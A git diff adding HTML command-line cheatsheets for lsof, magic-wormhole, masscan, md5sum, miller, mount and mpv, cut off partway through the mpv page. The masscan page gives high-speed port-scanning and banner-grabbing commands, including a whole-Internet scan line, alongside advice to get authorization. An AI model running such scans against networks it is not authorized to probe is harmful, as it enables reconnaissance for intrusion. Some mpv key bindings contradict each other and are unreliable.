      • -i - All network connections
      • +
      +
        +
      • -i TCP - TCP connections
      • +
      +
        +
      • -i UDP - UDP connections
      • +
      +
        +
      • -i :port - Specific port
      • +
      +
        +
      • -i @host - Specific host
      • +
      +
        +
      • -i @host:port - Host and port
      • +
      +
        +
      • -i TCP:port - TCP on port
      • +
      +
        +
      • -i UDP:port - UDP on port
      • +
      +
      +

      Output Options

      +
        +
      • -F - Field output
      • +
      +
        +
      • -l - Show login names
      • +
      +
        +
      • -n - No hostname resolution
      • +
      +
        +
      • -P - No port name resolution
      • +
      +
        +
      • -t - PID only
      • +
      +
        +
      • -w - Suppress warnings
      • +
      +
        +
      • -V - Version
      • +
      +
      +

      Common Examples

      +

      Process Files

      +
      lsof -p 1234
      +

      Files opened by process.

      +

      User Files

      +
      lsof -u username
      +

      Files opened by user.

      +

      File Usage

      +
      lsof /path/to/file
      +

      Processes using file.

      +

      Network Connections

      +
      lsof -i
      +

      All network connections.

      +

      Port Usage

      +
      lsof -i :80
      +

      Process using port 80.

      +

      TCP Connections

      +
      lsof -i TCP
      +

      All TCP connections.

      +

      Specific Host

      +
      lsof -i @192.168.1.1
      +

      Connections to/from host.

      +

      Command Files

      +
      lsof -c firefox
      +

      Files opened by command.

      +

      Directory Files

      +
      lsof +D /var/log
      +

      Files in directory.

      +

      PID Only

      +
      lsof -t -i :80
      +

      Get PID using port.

      +
      +

      Tips

      +
        +
      • Use -i for network troubleshooting
      • +
      +
        +
      • Use -t to get PIDs for scripts
      • +
      +
        +
      • Use -n and -P for faster output
      • +
      +
        +
      • Combine with kill to free resources
      • +
      +
        +
      • Use -a to combine conditions
      • +
      +
        +
      • Essential for debugging file locks
      • +
      +
        +
      • Great for finding port conflicts
      • +
      +
        +
      • Useful for security auditing
      • +
      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/magic-wormhole.html b/cheatsheets/magic-wormhole.html new file mode 100644 index 0000000..f587555 --- /dev/null +++ b/cheatsheets/magic-wormhole.html @@ -0,0 +1,154 @@ + + + + + + + + + + + magic-wormhole Cheatsheet - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      magic-wormhole Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      magic-wormhole is a secure file transfer tool that uses a short passphrase to establish encrypted connections between two computers. No need to configure firewalls, port forwarding, or exchange keys manually.

      +
      +

      Basic Usage

      +
        +
      • wormhole send file.txt - Send file (generates code)
      • +
      +
        +
      • wormhole receive CODE - Receive file with code
      • +
      +
        +
      • wormhole send - Send from stdin
      • +
      +
        +
      • wormhole receive CODE - Receive to stdout
      • +
      +
      +

      Directory Transfer

      +
        +
      • wormhole send -d directory/ - Send directory
      • +
      +
        +
      • wormhole receive CODE - Receive directory
      • +
      +
        +
      • wormhole send -d . - Send current directory
      • +
      +
      +

      Text Transfer

      +
        +
      • echo "text" | wormhole send - Send text
      • +
      +
        +
      • wormhole receive CODE - Receive text
      • +
      +
        +
      • wormhole send --text "message" - Send text message
      • +
      +
      +

      Options

      +
        +
      • -d, --directory - Send directory instead of file
      • +
      +
        +
      • -t, --text - Send text message
      • +
      +
        +
      • -c, --code - Specify code (for receive)
      • +
      +
        +
      • -o, --output - Output file/directory name
      • +
      +
        +
      • -v, --verbose - Verbose output
      • +
      +
        +
      • --relay-url - Custom relay server URL
      • +
      +
      +

      Common Examples

      +

      Send File

      +
      wormhole send document.pdf
      +

      Send file and get code to share.

      +

      Receive File

      +
      wormhole receive 7-crossover-clockwork
      +

      Receive file using code.

      +

      Send Directory

      +
      wormhole send -d project/
      +

      Send entire directory.

      +

      Send Text

      +
      echo "secret message" | wormhole send
      +

      Send text message.

      +

      Receive to Specific Location

      +
      wormhole receive -o received.pdf CODE
      +

      Receive file with custom name.

      +
      +

      Tips

      +
        +
      • Codes are single-use and expire after a few minutes
      • +
      +
        +
      • No need to configure firewalls or port forwarding
      • +
      +
        +
      • Uses PAKE (Password-Authenticated Key Exchange) for security
      • +
      +
        +
      • Works through NAT and firewalls automatically
      • +
      +
        +
      • Great for quick file transfers between machines
      • +
      +
        +
      • Can send text, files, or directories
      • +
      +
        +
      • Relay server is only used for initial connection setup
      • +
      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/masscan.html b/cheatsheets/masscan.html new file mode 100644 index 0000000..f02e266 --- /dev/null +++ b/cheatsheets/masscan.html @@ -0,0 +1,255 @@ + + + + + + + + + + + masscan Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      masscan Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      Masscan is the fastest Internet port scanner. It can scan the entire Internet in under 6 minutes, transmitting 10 million packets per second. Uses asynchronous transmission for extreme speed.

      +
      +

      Basic Usage

      +
        +
      • masscan <target> -p<ports> - Basic port scan
      • +
      +
        +
      • masscan 0.0.0.0/0 -p0-65535 - Scan entire internet (don't do this)
      • +
      +
      +

      Target Specification

      +
        +
      • masscan 192.168.1.0/24 - CIDR notation
      • +
      +
        +
      • masscan 192.168.1.1-192.168.1.254 - IP range
      • +
      +
        +
      • masscan -iL targets.txt - Read from file
      • +
      +
        +
      • masscan --exclude 192.168.1.1 - Exclude IP
      • +
      +
        +
      • masscan --excludefile exclude.txt - Exclude from file
      • +
      +
      +

      Port Specification

      +
        +
      • -p80 - Single port
      • +
      +
        +
      • -p80,443,8080 - Multiple ports
      • +
      +
        +
      • -p1-1000 - Port range
      • +
      +
        +
      • -p0-65535 - All ports
      • +
      +
        +
      • -pU:53 - UDP port
      • +
      +
        +
      • -p80,U:53 - Mixed TCP/UDP
      • +
      +
      +

      Rate Control

      +
        +
      • --rate 1000 - Packets per second (default 100)
      • +
      +
        +
      • --rate 10000 - 10k packets/sec
      • +
      +
        +
      • --rate 100000 - 100k packets/sec (needs tuning)
      • +
      +
        +
      • --max-rate 1000000 - Maximum rate limit
      • +
      +
      +

      Output Options

      +
        +
      • -oL output.txt - List output (default)
      • +
      +
        +
      • -oX output.xml - XML output
      • +
      +
        +
      • -oG output.gnmap - Grepable output
      • +
      +
        +
      • -oJ output.json - JSON output
      • +
      +
        +
      • -oB output.binary - Binary output
      • +
      +
        +
      • --open - Only show open ports
      • +
      +
      +

      Banner Grabbing

      +
        +
      • --banners - Grab service banners
      • +
      +
        +
      • --hello-string <base64> - Custom hello string
      • +
      +
        +
      • --source-port 61000 - Set source port
      • +
      +
      +

      Network Options

      +
        +
      • -e eth0 - Specify interface
      • +
      +
        +
      • --adapter-ip 192.168.1.100 - Source IP
      • +
      +
        +
      • --adapter-mac 00:11:22:33:44:55 - Source MAC
      • +
      +
        +
      • --router-mac 00:11:22:33:44:55 - Gateway MAC
      • +
      +
        +
      • --ttl 64 - Set TTL value
      • +
      +
      +

      Timing Options

      +
        +
      • --wait 10 - Seconds to wait for replies (default 10)
      • +
      +
        +
      • --retries 2 - Number of retries
      • +
      +
        +
      • --seed <number> - Random seed for reproducibility
      • +
      +
      +

      Resume and Config

      +
        +
      • --resume paused.conf - Resume interrupted scan
      • +
      +
        +
      • -c config.conf - Use config file
      • +
      +
        +
      • --echo > config.conf - Save current settings to config
      • +
      +
      +

      Common Examples

      +

      Quick Web Scan

      +
      masscan 192.168.1.0/24 -p80,443,8080 --rate 1000
      +

      Scan for web servers on local network.

      +

      Full Port Scan

      +
      masscan 192.168.1.0/24 -p1-65535 --rate 10000 -oL results.txt
      +

      All ports on network, save to file.

      +

      Banner Grabbing

      +
      masscan 192.168.1.0/24 -p22,80,443 --banners --rate 1000
      +

      Grab banners from common services.

      +

      Fast Class B Scan

      +
      masscan 10.0.0.0/16 -p80 --rate 100000 -oJ output.json
      +

      High-speed scan of large network.

      +

      UDP Scan

      +
      masscan 192.168.1.0/24 -pU:53,161,500 --rate 1000
      +

      Scan common UDP ports.

      +

      With Exclusions

      +
      masscan 10.0.0.0/8 -p80 --excludefile exclude.txt --rate 50000
      +

      Scan large range with exclusions.

      +
      +

      Performance Tuning

      +

      For High-Speed Scanning

      +
      # Increase system limits
      +echo 1 > /proc/sys/net/core/somaxconn
      +sysctl -w net.core.rmem_max=16777216
      +sysctl -w net.core.wmem_max=16777216
      +
      +# Use PF_RING for 10M+ packets/sec
      +masscan --adapter-ip 192.168.1.100 --rate 1000000
      +
      +

      Output Parsing

      +

      List Format

      +
      # Format: status state port proto ip timestamp
      +open tcp 80 192.168.1.1 1234567890
      +

      Extract IPs from List

      +
      cat output.txt | grep open | awk '{print $4}'
      +
      +

      Tips

      +
        +
      • Start with low rates (1000) and increase gradually
      • +
      +
        +
      • Use --wait to ensure you catch slow responses
      • +
      +
        +
      • Always exclude sensitive/critical systems
      • +
      +
        +
      • Use --resume for long scans that might interrupt
      • +
      +
        +
      • Combine with nmap for detailed service detection
      • +
      +
        +
      • masscan finds ports fast, nmap enumerates them
      • +
      +
        +
      • May need root/sudo for raw socket access
      • +
      +
        +
      • High rates can overwhelm networks - be careful
      • +
      +
        +
      • Always get authorization before scanning
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + diff --git a/cheatsheets/md5sum.html b/cheatsheets/md5sum.html new file mode 100644 index 0000000..04f4baa --- /dev/null +++ b/cheatsheets/md5sum.html @@ -0,0 +1,85 @@ + + + + + + + + + + + md5sum Cheatsheet - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + ← Back to Cheatsheets + +

      md5sum Cheatsheet

      +
      +
      +
      +
      +

      + Quick reference for md5sum, a tool to compute and verify MD5 checksums. + MD5 is considered cryptographically broken; use it only for legacy integrity checks, not for security. +

      + +

      Basic usage

      +
        +
      • md5sum file.iso – print MD5 hash and filename.
      • +
      • md5sum file1 file2 file3 – hash multiple files.
      • +
      • echo -n "test" | md5sum – hash data from stdin.
      • +
      + +

      Common options

      +
        +
      • -b – read files in binary mode (default on Linux).
      • +
      • -t – read files in text mode (mainly for non-Unix systems).
      • +
      • -c – check MD5 sums from a file.
      • +
      • --tag – create BSD-style output (MD5 (file) = hash).
      • +
      + +

      Creating and verifying checksum files

      +
        +
      • md5sum file.iso > file.iso.md5 – save checksum.
      • +
      • md5sum file1 file2 > checksums.md5 – create checksum list.
      • +
      • md5sum -c file.iso.md5 – verify a single file.
      • +
      • md5sum -c checksums.md5 – verify multiple files.
      • +
      + +

      Tips

      +
        +
      • Use sha256sum or sha512sum for security-sensitive integrity checks.
      • +
      • When hashing from echo, remember -n to avoid including the newline.
      • +
      • Checksum files are just text; you can version them in git or share them alongside downloads.
      • +
      +
      +
      + + + + + + diff --git a/cheatsheets/miller.html b/cheatsheets/miller.html new file mode 100644 index 0000000..e675be1 --- /dev/null +++ b/cheatsheets/miller.html @@ -0,0 +1,240 @@ + + + + + + + + + + + miller Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      miller Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      miller (mlr) is like awk, sed, cut, join, and sort for name-indexed data such as CSV, TSV, and tabular JSON. Stream processing for structured data with powerful transformation capabilities.

      +
      +

      Basic Usage

      +
        +
      • mlr --csv cat file.csv - Read CSV
      • +
      +
        +
      • mlr --tsv cat file.tsv - Read TSV
      • +
      +
        +
      • mlr --json cat file.json - Read JSON
      • +
      +
        +
      • mlr --csv head -n 10 file.csv - First 10 rows
      • +
      +
        +
      • mlr --csv tail -n 10 file.csv - Last 10 rows
      • +
      +
      +

      Field Selection

      +
        +
      • mlr --csv cut -f field1,field2 file.csv - Select fields
      • +
      +
        +
      • mlr --csv cut -x -f field1 file.csv - Exclude field
      • +
      +
        +
      • mlr --csv cut -o -f field1 file.csv - Only field
      • +
      +
        +
      • mlr --csv rename field1,newfield1 file.csv - Rename field
      • +
      +
        +
      • mlr --csv rename -r 'old(.*)', 'new$1' file.csv - Rename with regex
      • +
      +
      +

      Filtering

      +
        +
      • mlr --csv filter '$field == "value"' file.csv - Equal filter
      • +
      +
        +
      • mlr --csv filter '$field > 10' file.csv - Numeric filter
      • +
      +
        +
      • mlr --csv filter '$field =~ "pattern"' file.csv - Regex filter
      • +
      +
        +
      • mlr --csv filter '$field != "value"' file.csv - Not equal
      • +
      +
        +
      • mlr --csv filter '$field1 == "a" && $field2 > 5' file.csv - Multiple conditions
      • +
      +
        +
      • mlr --csv filter -x '$field == "value"' file.csv - Exclude matching
      • +
      +
      +

      Transformation

      +
        +
      • mlr --csv put '$new = $old * 2' file.csv - Add computed field
      • +
      +
        +
      • mlr --csv put '$total = $price * $quantity' file.csv - Calculate
      • +
      +
        +
      • mlr --csv put '$date = strftime($timestamp, "%Y-%m-%d")' file.csv - Format date
      • +
      +
        +
      • mlr --csv put '$upper = toupper($field)' file.csv - String functions
      • +
      +
        +
      • mlr --csv put '$len = length($field)' file.csv - String length
      • +
      +
      +

      Sorting

      +
        +
      • mlr --csv sort -f field1 file.csv - Sort by field
      • +
      +
        +
      • mlr --csv sort -f field1,field2 file.csv - Sort by multiple fields
      • +
      +
        +
      • mlr --csv sort -nr -f field1 file.csv - Reverse numeric sort
      • +
      +
        +
      • mlr --csv sort -f field1 -t field2 file.csv - Sort then tie-break
      • +
      +
      +

      Grouping & Aggregation

      +
        +
      • mlr --csv stats1 -a count -f field1 -g category file.csv - Count by group
      • +
      +
        +
      • mlr --csv stats1 -a sum -f amount -g category file.csv - Sum by group
      • +
      +
        +
      • mlr --csv stats1 -a mean -f value -g category file.csv - Mean by group
      • +
      +
        +
      • mlr --csv stats1 -a min,max -f value -g category file.csv - Min/max
      • +
      +
        +
      • mlr --csv group-by category file.csv - Group records
      • +
      +
      +

      Joining

      +
        +
      • mlr --csv join -j field1 -f file1.csv file2.csv - Inner join
      • +
      +
        +
      • mlr --csv join -j field1 -l file1.csv file2.csv - Left join
      • +
      +
        +
      • mlr --csv join -j field1 -r file1.csv file2.csv - Right join
      • +
      +
        +
      • mlr --csv join -j field1 -u file1.csv file2.csv - Full outer join
      • +
      +
      +

      Format Conversion

      +
        +
      • mlr --csv --json cat file.csv - CSV to JSON
      • +
      +
        +
      • mlr --json --csv cat file.json - JSON to CSV
      • +
      +
        +
      • mlr --csv --tsv cat file.csv - CSV to TSV
      • +
      +
        +
      • mlr --csv --markdown cat file.csv - CSV to Markdown
      • +
      +
      +

      Common Examples

      +

      Select Fields

      +
      mlr --csv cut -f name,email users.csv
      +

      Extract specific columns.

      +

      Filter Rows

      +
      mlr --csv filter '$status == "active"' users.csv
      +

      Filter by condition.

      +

      Add Field

      +
      mlr --csv put '$total = $price * $qty' orders.csv
      +

      Calculate new field.

      +

      Sort

      +
      mlr --csv sort -f date -nr sales.csv
      +

      Sort by date descending.

      +

      Group Statistics

      +
      mlr --csv stats1 -a sum -f amount -g category sales.csv
      +

      Sum by category.

      +

      Join Files

      +
      mlr --csv join -j user_id -f users.csv orders.csv
      +

      Join on common field.

      +

      Convert Format

      +
      mlr --csv --json cat data.csv > data.json
      +

      Convert CSV to JSON.

      +

      Multiple Operations

      +
      mlr --csv filter '$age > 18' then cut -f name,email then sort -f name users.csv
      +

      Chain operations with 'then'.

      +
      +

      Tips

      +
        +
      • Use --csv, --tsv, --json to specify input format
      • +
      +
        +
      • Chain operations with 'then' keyword
      • +
      +
        +
      • Use $field to reference fields in expressions
      • +
      +
        +
      • Supports streaming for large files
      • +
      +
        +
      • Great for data transformation pipelines
      • +
      +
        +
      • More intuitive than awk for structured data
      • +
      +
        +
      • Supports many statistical functions
      • +
      +
        +
      • Excellent documentation and examples
      • +
      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/mount.html b/cheatsheets/mount.html new file mode 100644 index 0000000..3d29b42 --- /dev/null +++ b/cheatsheets/mount.html @@ -0,0 +1,256 @@ + + + + + + + + + + + mount Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      mount Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      mount attaches a filesystem to the directory tree. Essential for accessing disks, partitions, network shares, and other storage devices.

      +
      +

      Basic Usage

      +
        +
      • mount - List all mounted filesystems
      • +
      +
        +
      • mount /dev/sda1 /mnt - Mount device
      • +
      +
        +
      • mount -t type /dev/sda1 /mnt - Specify filesystem type
      • +
      +
        +
      • umount /mnt - Unmount filesystem
      • +
      +
        +
      • umount -l /mnt - Lazy unmount
      • +
      +
      +

      Common Options

      +
        +
      • -t type - Filesystem type (ext4, ntfs, vfat, etc.)
      • +
      +
        +
      • -o options - Mount options (comma-separated)
      • +
      +
        +
      • -a - Mount all filesystems in /etc/fstab
      • +
      +
        +
      • -r - Mount read-only
      • +
      +
        +
      • -w - Mount read-write
      • +
      +
        +
      • -v - Verbose output
      • +
      +
        +
      • -n - Don't write to /etc/mtab
      • +
      +
        +
      • -f - Fake mount (don't actually mount)
      • +
      +
        +
      • -l - Show labels
      • +
      +
        +
      • -h - Show help
      • +
      +
      +

      Mount Options

      +
        +
      • ro - Read-only
      • +
      +
        +
      • rw - Read-write
      • +
      +
        +
      • noexec - Don't allow execution
      • +
      +
        +
      • nosuid - Ignore setuid bits
      • +
      +
        +
      • nodev - Don't interpret device files
      • +
      +
        +
      • sync - Synchronous I/O
      • +
      +
        +
      • async - Asynchronous I/O
      • +
      +
        +
      • atime - Update access time
      • +
      +
        +
      • noatime - Don't update access time
      • +
      +
        +
      • relatime - Relative access time
      • +
      +
        +
      • remount - Remount filesystem
      • +
      +
        +
      • bind - Bind mount
      • +
      +
        +
      • loop - Loop device
      • +
      +
        +
      • user - Allow users to mount
      • +
      +
        +
      • users - Allow any user to mount/unmount
      • +
      +
        +
      • nouser - Only root can mount
      • +
      +
        +
      • defaults - Default options (rw,suid,dev,exec,auto,nouser,async)
      • +
      +
      +

      Common Examples

      +

      List Mounts

      +
      mount
      +

      Show all mounted filesystems.

      +

      Mount Device

      +
      mount /dev/sda1 /mnt
      +

      Mount partition to directory.

      +

      Mount with Type

      +
      mount -t ext4 /dev/sda1 /mnt
      +

      Specify filesystem type.

      +

      Mount Read-Only

      +
      mount -r /dev/sda1 /mnt
      +

      Mount as read-only.

      +

      Mount with Options

      +
      mount -o ro,noexec /dev/sda1 /mnt
      +

      Mount with specific options.

      +

      Bind Mount

      +
      mount --bind /old/path /new/path
      +

      Create bind mount.

      +

      Mount Loop Device

      +
      mount -o loop image.iso /mnt
      +

      Mount ISO file.

      +

      Remount

      +
      mount -o remount,ro /mnt
      +

      Remount with new options.

      +

      Mount All

      +
      mount -a
      +

      Mount all filesystems from /etc/fstab.

      +

      Unmount

      +
      umount /mnt
      +

      Unmount filesystem.

      +
      +

      Filesystem Types

      +
        +
      • ext2, ext3, ext4 - Linux extended filesystems
      • +
      +
        +
      • xfs - XFS filesystem
      • +
      +
        +
      • btrfs - Btrfs filesystem
      • +
      +
        +
      • vfat, fat32 - FAT filesystems
      • +
      +
        +
      • ntfs - NTFS filesystem
      • +
      +
        +
      • iso9660 - CD/DVD filesystem
      • +
      +
        +
      • nfs - Network File System
      • +
      +
        +
      • cifs, smbfs - SMB/CIFS filesystem
      • +
      +
        +
      • tmpfs - Temporary filesystem
      • +
      +
        +
      • proc - Proc filesystem
      • +
      +
        +
      • sysfs - Sysfs filesystem
      • +
      +
        +
      • devtmpfs - Device filesystem
      • +
      +
      +

      Tips

      +
        +
      • Use mount to list current mounts
      • +
      +
        +
      • Use -t to specify filesystem type
      • +
      +
        +
      • Use -o for mount options
      • +
      +
        +
      • Use umount to unmount (not unmount)
      • +
      +
        +
      • Use -l for lazy unmount if busy
      • +
      +
        +
      • Check /etc/fstab for permanent mounts
      • +
      +
        +
      • Essential for disk management
      • +
      +
        +
      • Use mount -a to mount all from fstab
      • +
      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/mpv.html b/cheatsheets/mpv.html new file mode 100644 index 0000000..3aaa2ba --- /dev/null +++ b/cheatsheets/mpv.html @@ -0,0 +1,475 @@ + + + + + + + + + + + mpv Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      mpv Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      Basic Playback

      +
        +
      • mpv <file> - Play a file
      • +
      +
        +
      • mpv <url> - Play from URL
      • +
      +
        +
      • mpv <file1> <file2> - Play multiple files
      • +
      +
        +
      • mpv --playlist=<file> - Play playlist
      • +
      +
        +
      • mpv --shuffle - Shuffle playlist
      • +
      +
        +
      • mpv --loop=<N> - Loop N times (0 = infinite)
      • +
      +
        +
      • mpv --loop-file=inf - Loop current file infinitely
      • +
      +
      +

      Playback Controls

      +

      Space and Enter

      +
        +
      • Space - Pause/Resume
      • +
      +
        +
      • Enter - Pause/Resume (alternative)
      • +
      +

      Seeking

      +
        +
      • ← - Seek backward 5 seconds
      • +
      +
        +
      • → - Seek forward 5 seconds
      • +
      +
        +
      • ↑ - Seek forward 60 seconds
      • +
      +
        +
      • ↓ - Seek backward 60 seconds
      • +
      +
        +
      • Ctrl+← - Seek backward 1 second
      • +
      +
        +
      • Ctrl+→ - Seek forward 1 second
      • +
      +
        +
      • [ - Decrease playback speed
      • +
      +
        +
      • ] - Increase playback speed
      • +
      +
        +
      • { - Halve playback speed
      • +
      +
        +
      • } - Double playback speed
      • +
      +
        +
      • Backspace - Reset playback speed
      • +
      +
        +
      • , - Step backward frame
      • +
      +
        +
      • . - Step forward frame
      • +
      +

      Volume

      +
        +
      • - - Decrease volume
      • +
      +
        +
      • + or = - Increase volume
      • +
      +
        +
      • 9 - Decrease volume
      • +
      +
        +
      • 0 - Increase volume
      • +
      +
        +
      • m - Mute/Unmute
      • +
      +

      Playlist Navigation

      +
        +
      • > - Next file in playlist
      • +
      +
        +
      • < - Previous file in playlist
      • +
      +
        +
      • p - Previous file in playlist (alternative)
      • +
      +
        +
      • n - Next file in playlist (alternative)
      • +
      +
        +
      • P - Show playlist
      • +
      +
        +
      • j - Next entry in playlist
      • +
      +
        +
      • J - Previous entry in playlist
      • +
      +
      +

      Video

      +
        +
      • f - Toggle fullscreen
      • +
      +
        +
      • T - Toggle stay-on-top
      • +
      +
        +
      • t - Toggle subtitle visibility
      • +
      +
        +
      • s - Cycle through subtitles
      • +
      +
        +
      • S - Cycle through subtitles (backward)
      • +
      +
        +
      • v - Toggle subtitle visibility
      • +
      +
        +
      • V - Toggle subtitle visibility (alternative)
      • +
      +
        +
      • z - Adjust subtitle delay backward
      • +
      +
        +
      • x - Adjust subtitle delay forward
      • +
      +
        +
      • c - Cycle through audio tracks
      • +
      +
        +
      • # - Cycle through audio tracks (alternative)
      • +
      +
        +
      • b - Cycle through video tracks
      • +
      +
        +
      • Ctrl+ - Cycle through video tracks (alternative)
      • +
      +
      +

      Advanced Controls

      +
        +
      • i - Show file information (press again for extended info)
      • +
      +
        +
      • I - Show extended file information
      • +
      +
        +
      • o - Show on-screen display (OSD)
      • +
      +
        +
      • O - Show OSD (alternative)
      • +
      +
        +
      • P - Show progress bar
      • +
      +
        +
      • d - Cycle through deinterlacing modes
      • +
      +
        +
      • D - Cycle through deinterlacing modes (backward)
      • +
      +
        +
      • r - Cycle through aspect ratio
      • +
      +
        +
      • A - Cycle through aspect ratio (backward)
      • +
      +
        +
      • Ctrl+ - Cycle through video filters
      • +
      +
        +
      • Ctrl+ - Cycle through video filters (backward)
      • +
      +
      +

      Screenshots

      +
        +
      • s - Take screenshot (with subtitles)
      • +
      +
        +
      • S - Take screenshot (without subtitles)
      • +
      +
        +
      • Ctrl+s - Take screenshot (with subtitles, alternative)
      • +
      +
        +
      • Ctrl+S - Take screenshot (without subtitles, alternative)
      • +
      +
      +

      Audio

      +
        +
      • 1 - Decrease audio delay
      • +
      +
        +
      • 2 - Increase audio delay
      • +
      +
        +
      • Ctrl+ - Cycle through audio filters
      • +
      +
        +
      • Ctrl+ - Cycle through audio filters (backward)
      • +
      +
      +

      Window Management

      +
        +
      • q - Quit mpv
      • +
      +
        +
      • Q - Quit mpv (save position)
      • +
      +
        +
      • ESC - Quit mpv
      • +
      +
        +
      • Ctrl+q - Force quit
      • +
      +
        +
      • w - Toggle window decorations
      • +
      +
        +
      • W - Toggle window decorations (alternative)
      • +
      +
      +

      Command Line Options

      +

      Playback

      +
        +
      • --start=<time> - Start at specific time (e.g., --start=30 or --start=0:30)
      • +
      +
        +
      • --end=<time> - End at specific time
      • +
      +
        +
      • --length=<time> - Play for specific duration
      • +
      +
        +
      • --speed=<factor> - Set playback speed (e.g., --speed=1.5)
      • +
      +
        +
      • --volume=<0-100> - Set initial volume
      • +
      +
        +
      • --mute - Start muted
      • +
      +
        +
      • --fullscreen or -fs - Start in fullscreen
      • +
      +
        +
      • --no-fullscreen - Don't allow fullscreen
      • +
      +

      Video

      +
        +
      • --vo=<driver> - Video output driver (e.g., --vo=gpu, --vo=xv)
      • +
      +
        +
      • --vf=<filter> - Video filter (e.g., --vf=scale=1920:1080)
      • +
      +
        +
      • --hwdec=<api> - Hardware decoding (e.g., --hwdec=vaapi, --hwdec=nvdec)
      • +
      +
        +
      • --no-video - Disable video output
      • +
      +
        +
      • --video-aspect=<ratio> - Set aspect ratio (e.g., --video-aspect=16:9)
      • +
      +

      Audio

      +
        +
      • --ao=<driver> - Audio output driver
      • +
      +
        +
      • --af=<filter> - Audio filter
      • +
      +
        +
      • --no-audio - Disable audio
      • +
      +
        +
      • --audio-channels=<channels> - Set audio channels
      • +
      +

      Subtitles

      +
        +
      • --sub-file=<file> - Load subtitle file
      • +
      +
        +
      • --sub-delay=<sec> - Subtitle delay in seconds
      • +
      +
        +
      • --sub-scale=<factor> - Subtitle scale factor
      • +
      +
        +
      • --sub-pos=<0-100> - Subtitle position (0=top, 100=bottom)
      • +
      +
        +
      • --sub-color=<color> - Subtitle color
      • +
      +
        +
      • --sub-font=<font> - Subtitle font
      • +
      +

      Playlist

      +
        +
      • --playlist-start=<index> - Start at playlist index
      • +
      +
        +
      • --shuffle - Shuffle playlist
      • +
      +
        +
      • --loop-file=<N> - Loop file N times
      • +
      +
        +
      • --loop-playlist=<N> - Loop playlist N times
      • +
      +

      Advanced

      +
        +
      • --config-dir=<path> - Use custom config directory
      • +
      +
        +
      • --input-conf=<file> - Use custom input config
      • +
      +
        +
      • --script=<file> - Load Lua script
      • +
      +
        +
      • --ytdl-format=<format> - YouTube-DL format selection
      • +
      +
        +
      • --cache=<size> - Cache size in KB
      • +
      +
        +
      • --no-cache - Disable cache
      • +
      +
        +
      • --profile=<name> - Use profile from config
      • +
      +
      +

      Configuration

      +

      Config File Location

      +
        +
      • ~/.config/mpv/mpv.conf (main config)
      • +
      +
        +
      • ~/.config/mpv/input.conf (input bindings)
      • +
      +

      Common Settings

      +
      # Video
      +vo=gpu
      +hwdec=vaapi
      +
      +# Audio
      +audio-device=auto
      +
      +# Subtitles
      +sub-auto=fuzzy
      +sub-file-paths=subs:subtitles
      +
      +# Playback
      +save-position-on-quit
      +watch-later-options=start
      +
      +# Interface
      +osd-level=1
      +osd-duration=2000
      +
      +# Performance
      +cache=yes
      +cache-secs=60
      +
      +

      Example Key Bindings

      +
      # Custom seek
      +LEFT seek -5
      +RIGHT seek 5
      +UP seek 60
      +DOWN seek -60
      +
      +# Custom volume
      +KP0 add volume -2
      +KP1 add volume 2
      +
      +# Custom playlist
      +Ctrl+LEFT playlist-prev
      +Ctrl+RIGHT playlist-next
      +
      +

      Tips

      +
        +
      • Use mpv --list-options to see all available options
      • +
      +
        +
      • Use mpv --list-properties to see all properties
      • +
      +
        +
